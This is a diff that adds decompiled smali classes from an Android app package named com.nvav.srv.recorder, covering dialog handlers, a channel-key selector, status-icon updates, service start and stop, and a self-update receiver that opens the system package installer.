.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
.locals 0
|
||||
|
||||
.line 163
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$1;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onClick(Landroid/content/DialogInterface;I)V
|
||||
.locals 1
|
||||
|
||||
.line 166
|
||||
iget-object p2, p0, Lcom/nvav/srv/recorder/MActivity$1;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object p2, p2, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
|
||||
|
||||
invoke-static {p2}, Lcom/nvav/srv/recorder/ChenalC;->getInstance(Landroid/content/Context;)Lcom/nvav/srv/recorder/ChenalC;
|
||||
|
||||
move-result-object p2
|
||||
|
||||
const/4 v0, 0x0
|
||||
|
||||
invoke-static {v0}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
invoke-virtual {p2, v0}, Lcom/nvav/srv/recorder/ChenalC;->set(Ljava/lang/Byte;)V
|
||||
|
||||
.line 167
|
||||
invoke-interface {p1}, Landroid/content/DialogInterface;->cancel()V
|
||||
|
||||
.line 168
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$1;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-virtual {p1}, Lcom/nvav/srv/recorder/MActivity;->finish()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,45 @@
|
||||
.class Lcom/nvav/srv/recorder/MActivity$2;
|
||||
.super Ljava/lang/Object;
|
||||
.source "MActivity.java"
|
||||
|
||||
# interfaces
|
||||
.implements Landroid/content/DialogInterface$OnClickListener;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/MActivity;->ResetButton()V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
.locals 0
|
||||
|
||||
.line 172
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$2;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onClick(Landroid/content/DialogInterface;I)V
|
||||
.locals 0
|
||||
|
||||
.line 175
|
||||
invoke-interface {p1}, Landroid/content/DialogInterface;->cancel()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,49 @@
|
||||
.class Lcom/nvav/srv/recorder/MActivity$3;
|
||||
.super Ljava/lang/Object;
|
||||
.source "MActivity.java"
|
||||
|
||||
# interfaces
|
||||
.implements Landroid/view/View$OnLongClickListener;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/MActivity;->onCreate(Landroid/os/Bundle;)V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
.locals 0
|
||||
|
||||
.line 236
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$3;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onLongClick(Landroid/view/View;)Z
|
||||
.locals 0
|
||||
|
||||
.line 239
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$3;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-virtual {p1}, Lcom/nvav/srv/recorder/MActivity;->ResetButton()V
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
return p1
|
||||
.end method
|
||||
@@ -0,0 +1,185 @@
|
||||
.class Lcom/nvav/srv/recorder/MActivity$4;
|
||||
.super Landroid/os/Handler;
|
||||
.source "MActivity.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/MActivity;->onCreate(Landroid/os/Bundle;)V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
.field final synthetic val$L1:Landroid/widget/ImageView;
|
||||
|
||||
.field final synthetic val$L2:Landroid/widget/ImageView;
|
||||
|
||||
.field final synthetic val$L3:Landroid/widget/ImageView;
|
||||
|
||||
.field final synthetic val$L4:Landroid/widget/ImageView;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;Landroid/widget/ImageView;)V
|
||||
.locals 0
|
||||
|
||||
.line 260
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iput-object p2, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L1:Landroid/widget/ImageView;
|
||||
|
||||
iput-object p3, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L2:Landroid/widget/ImageView;
|
||||
|
||||
iput-object p4, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L3:Landroid/widget/ImageView;
|
||||
|
||||
iput-object p5, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L4:Landroid/widget/ImageView;
|
||||
|
||||
invoke-direct {p0}, Landroid/os/Handler;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public handleMessage(Landroid/os/Message;)V
|
||||
.locals 3
|
||||
|
||||
.line 262
|
||||
iget v0, p1, Landroid/os/Message;->what:I
|
||||
|
||||
const/16 v1, 0x64
|
||||
|
||||
if-ne v0, v1, :cond_4
|
||||
|
||||
.line 263
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L1:Landroid/widget/ImageView;
|
||||
|
||||
const v1, 0x7f010002
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageResource(I)V
|
||||
|
||||
.line 264
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L2:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageResource(I)V
|
||||
|
||||
.line 265
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L3:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageResource(I)V
|
||||
|
||||
.line 266
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L4:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setImageResource(I)V
|
||||
|
||||
.line 267
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L1:Landroid/widget/ImageView;
|
||||
|
||||
const v1, 0x3e99999a # 0.3f
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setAlpha(F)V
|
||||
|
||||
.line 268
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L2:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setAlpha(F)V
|
||||
|
||||
.line 269
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L3:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setAlpha(F)V
|
||||
|
||||
.line 270
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L4:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setAlpha(F)V
|
||||
|
||||
.line 271
|
||||
invoke-virtual {p1}, Landroid/os/Message;->getData()Landroid/os/Bundle;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const-string v0, "status"
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/os/Bundle;->getInt(Ljava/lang/String;)I
|
||||
|
||||
move-result p1
|
||||
|
||||
const/4 v0, 0x1
|
||||
|
||||
const/high16 v1, 0x3f800000 # 1.0f
|
||||
|
||||
const v2, 0x7f010003
|
||||
|
||||
if-eq p1, v0, :cond_3
|
||||
|
||||
const/4 v0, 0x2
|
||||
|
||||
if-eq p1, v0, :cond_2
|
||||
|
||||
const/4 v0, 0x3
|
||||
|
||||
if-eq p1, v0, :cond_1
|
||||
|
||||
const/4 v0, 0x4
|
||||
|
||||
if-eq p1, v0, :cond_0
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 273
|
||||
:cond_0
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L4:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {p1, v2}, Landroid/widget/ImageView;->setImageResource(I)V
|
||||
|
||||
.line 274
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L4:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {p1, v1}, Landroid/widget/ImageView;->setAlpha(F)V
|
||||
|
||||
.line 276
|
||||
:cond_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L3:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {p1, v2}, Landroid/widget/ImageView;->setImageResource(I)V
|
||||
|
||||
.line 277
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L3:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {p1, v1}, Landroid/widget/ImageView;->setAlpha(F)V
|
||||
|
||||
.line 279
|
||||
:cond_2
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L2:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {p1, v2}, Landroid/widget/ImageView;->setImageResource(I)V
|
||||
|
||||
.line 280
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L2:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {p1, v1}, Landroid/widget/ImageView;->setAlpha(F)V
|
||||
|
||||
.line 282
|
||||
:cond_3
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L1:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {p1, v2}, Landroid/widget/ImageView;->setImageResource(I)V
|
||||
|
||||
.line 283
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$4;->val$L1:Landroid/widget/ImageView;
|
||||
|
||||
invoke-virtual {p1, v1}, Landroid/widget/ImageView;->setAlpha(F)V
|
||||
|
||||
:cond_4
|
||||
:goto_0
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,155 @@
|
||||
.class Lcom/nvav/srv/recorder/MActivity$5;
|
||||
.super Ljava/lang/Object;
|
||||
.source "MActivity.java"
|
||||
|
||||
# interfaces
|
||||
.implements Landroid/content/DialogInterface$OnClickListener;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/MActivity;->getCh()V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
.field final synthetic val$input:Landroid/widget/EditText;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;Landroid/widget/EditText;)V
|
||||
.locals 0
|
||||
.annotation system Ldalvik/annotation/Signature;
|
||||
value = {
|
||||
"()V"
|
||||
}
|
||||
.end annotation
|
||||
|
||||
.line 304
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iput-object p2, p0, Lcom/nvav/srv/recorder/MActivity$5;->val$input:Landroid/widget/EditText;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onClick(Landroid/content/DialogInterface;I)V
|
||||
.locals 3
|
||||
|
||||
.line 307
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->val$input:Landroid/widget/EditText;
|
||||
|
||||
invoke-virtual {p1}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
const/4 p2, 0x1
|
||||
|
||||
move v0, p2
|
||||
|
||||
.line 308
|
||||
:goto_0
|
||||
sget-object v1, Lcom/nvav/srv/recorder/MActivity;->key_ch:[Ljava/lang/String;
|
||||
|
||||
array-length v1, v1
|
||||
|
||||
if-ge v0, v1, :cond_1
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
|
||||
|
||||
move-result-object v1
|
||||
|
||||
sget-object v2, Lcom/nvav/srv/recorder/MActivity;->key_ch:[Ljava/lang/String;
|
||||
|
||||
aget-object v2, v2, v0
|
||||
|
||||
invoke-virtual {v2}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
|
||||
|
||||
move-result-object v2
|
||||
|
||||
invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
|
||||
|
||||
move-result v1
|
||||
|
||||
if-eqz v1, :cond_0
|
||||
|
||||
.line 309
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
sget-object v1, Lcom/nvav/srv/recorder/MActivity;->chenals:[I
|
||||
|
||||
aget v0, v1, v0
|
||||
|
||||
int-to-byte v0, v0
|
||||
|
||||
invoke-static {v0}, Ljava/lang/Byte;->valueOf(B)Ljava/lang/Byte;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
iput-object v0, p1, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
|
||||
|
||||
.line 310
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/MActivity;->context:Landroid/content/Context;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/ChenalC;->getInstance(Landroid/content/Context;)Lcom/nvav/srv/recorder/ChenalC;
|
||||
|
||||
move-result-object p1
|
||||
|
||||
iget-object v0, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v0, v0, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/ChenalC;->set(Ljava/lang/Byte;)V
|
||||
|
||||
goto :goto_1
|
||||
|
||||
:cond_0
|
||||
add-int/lit8 v0, v0, 0x1
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 313
|
||||
:cond_1
|
||||
:goto_1
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/MActivity;->Chenal:Ljava/lang/Byte;
|
||||
|
||||
invoke-virtual {p1}, Ljava/lang/Byte;->byteValue()B
|
||||
|
||||
move-result p1
|
||||
|
||||
if-le p1, p2, :cond_2
|
||||
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/MActivity;->access$000(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
|
||||
goto :goto_2
|
||||
|
||||
.line 314
|
||||
:cond_2
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$5;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-static {p1}, Lcom/nvav/srv/recorder/MActivity;->access$100(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
|
||||
:goto_2
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,50 @@
|
||||
.class Lcom/nvav/srv/recorder/MActivity$6;
|
||||
.super Ljava/lang/Object;
|
||||
.source "MActivity.java"
|
||||
|
||||
# interfaces
|
||||
.implements Landroid/content/DialogInterface$OnClickListener;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/MActivity;->getCh()V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
.locals 0
|
||||
|
||||
.line 318
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$6;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onClick(Landroid/content/DialogInterface;I)V
|
||||
.locals 0
|
||||
|
||||
.line 321
|
||||
invoke-interface {p1}, Landroid/content/DialogInterface;->cancel()V
|
||||
|
||||
.line 322
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$6;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-virtual {p1}, Lcom/nvav/srv/recorder/MActivity;->finish()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,81 @@
|
||||
.class Lcom/nvav/srv/recorder/MActivity$7;
|
||||
.super Ljava/lang/Object;
|
||||
.source "MActivity.java"
|
||||
|
||||
# interfaces
|
||||
.implements Landroid/view/View$OnClickListener;
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/MActivity;->init()V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
.locals 0
|
||||
|
||||
.line 343
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onClick(Landroid/view/View;)V
|
||||
.locals 1
|
||||
|
||||
.line 346
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-boolean p1, p1, Lcom/nvav/srv/recorder/MActivity;->mRunning:Z
|
||||
|
||||
if-eqz p1, :cond_0
|
||||
|
||||
.line 347
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/MActivity;->intent:Landroid/content/Intent;
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/MActivity;->stopService(Landroid/content/Intent;)Z
|
||||
|
||||
.line 348
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
const/4 v0, 0x0
|
||||
|
||||
iput-boolean v0, p1, Lcom/nvav/srv/recorder/MActivity;->mRunning:Z
|
||||
|
||||
goto :goto_0
|
||||
|
||||
.line 350
|
||||
:cond_0
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object v0, p1, Lcom/nvav/srv/recorder/MActivity;->intent:Landroid/content/Intent;
|
||||
|
||||
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/MActivity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
|
||||
|
||||
.line 351
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$7;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
const/4 v0, 0x1
|
||||
|
||||
iput-boolean v0, p1, Lcom/nvav/srv/recorder/MActivity;->mRunning:Z
|
||||
|
||||
:goto_0
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,58 @@
|
||||
.class Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;
|
||||
.super Landroid/os/ResultReceiver;
|
||||
.source "MActivity.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/MActivity;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = "MyResultReceiver"
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method public constructor <init>(Lcom/nvav/srv/recorder/MActivity;Landroid/os/Handler;)V
|
||||
.locals 0
|
||||
|
||||
.line 360
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
.line 361
|
||||
invoke-direct {p0, p2}, Landroid/os/ResultReceiver;-><init>(Landroid/os/Handler;)V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method protected onReceiveResult(ILandroid/os/Bundle;)V
|
||||
.locals 1
|
||||
|
||||
.line 365
|
||||
new-instance v0, Landroid/os/Message;
|
||||
|
||||
invoke-direct {v0}, Landroid/os/Message;-><init>()V
|
||||
|
||||
.line 366
|
||||
invoke-virtual {v0, p2}, Landroid/os/Message;->setData(Landroid/os/Bundle;)V
|
||||
|
||||
.line 367
|
||||
iput p1, v0, Landroid/os/Message;->what:I
|
||||
|
||||
.line 368
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$MyResultReceiver;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/MActivity;->handler:Landroid/os/Handler;
|
||||
|
||||
invoke-virtual {p1, v0}, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,81 @@
|
||||
.class Lcom/nvav/srv/recorder/MActivity$Updater$1;
|
||||
.super Landroid/content/BroadcastReceiver;
|
||||
.source "MActivity.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingMethod;
|
||||
value = Lcom/nvav/srv/recorder/MActivity$Updater;->run()V
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = null
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field final synthetic this$1:Lcom/nvav/srv/recorder/MActivity$Updater;
|
||||
|
||||
.field final synthetic val$apkUri:Landroid/net/Uri;
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity$Updater;Landroid/net/Uri;)V
|
||||
.locals 0
|
||||
|
||||
.line 113
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->this$1:Lcom/nvav/srv/recorder/MActivity$Updater;
|
||||
|
||||
iput-object p2, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->val$apkUri:Landroid/net/Uri;
|
||||
|
||||
invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
|
||||
|
||||
# virtual methods
|
||||
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
|
||||
.locals 0
|
||||
|
||||
.line 116
|
||||
new-instance p1, Landroid/content/Intent;
|
||||
|
||||
const-string p2, "android.intent.action.INSTALL_PACKAGE"
|
||||
|
||||
invoke-direct {p1, p2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
|
||||
|
||||
.line 117
|
||||
iget-object p2, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->val$apkUri:Landroid/net/Uri;
|
||||
|
||||
invoke-virtual {p1, p2}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
|
||||
|
||||
const/4 p2, 0x1
|
||||
|
||||
.line 118
|
||||
invoke-virtual {p1, p2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
|
||||
|
||||
.line 119
|
||||
iget-object p2, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->this$1:Lcom/nvav/srv/recorder/MActivity$Updater;
|
||||
|
||||
iget-object p2, p2, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-virtual {p2, p1}, Lcom/nvav/srv/recorder/MActivity;->startActivity(Landroid/content/Intent;)V
|
||||
|
||||
.line 120
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->this$1:Lcom/nvav/srv/recorder/MActivity$Updater;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-virtual {p1, p0}, Lcom/nvav/srv/recorder/MActivity;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
|
||||
|
||||
.line 121
|
||||
iget-object p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater$1;->this$1:Lcom/nvav/srv/recorder/MActivity$Updater;
|
||||
|
||||
iget-object p1, p1, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-virtual {p1}, Lcom/nvav/srv/recorder/MActivity;->finish()V
|
||||
|
||||
return-void
|
||||
.end method
|
||||
@@ -0,0 +1,549 @@
|
||||
.class Lcom/nvav/srv/recorder/MActivity$Updater;
|
||||
.super Ljava/lang/Thread;
|
||||
.source "MActivity.java"
|
||||
|
||||
|
||||
# annotations
|
||||
.annotation system Ldalvik/annotation/EnclosingClass;
|
||||
value = Lcom/nvav/srv/recorder/MActivity;
|
||||
.end annotation
|
||||
|
||||
.annotation system Ldalvik/annotation/InnerClass;
|
||||
accessFlags = 0x0
|
||||
name = "Updater"
|
||||
.end annotation
|
||||
|
||||
|
||||
# instance fields
|
||||
.field private lock:Ljava/lang/Object;
|
||||
|
||||
.field final synthetic this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
.field tv:Landroid/widget/TextView;
|
||||
|
||||
.field update:Z
|
||||
|
||||
|
||||
# direct methods
|
||||
.method constructor <init>(Lcom/nvav/srv/recorder/MActivity;)V
|
||||
.locals 0
|
||||
|
||||
.line 70
|
||||
iput-object p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->this$0:Lcom/nvav/srv/recorder/MActivity;
|
||||
|
||||
invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
|
||||
|
||||
const/4 p1, 0x0
|
||||
|
||||
.line 72
|
||||
iput-boolean p1, p0, Lcom/nvav/srv/recorder/MActivity$Updater;->update:Z
|
||||
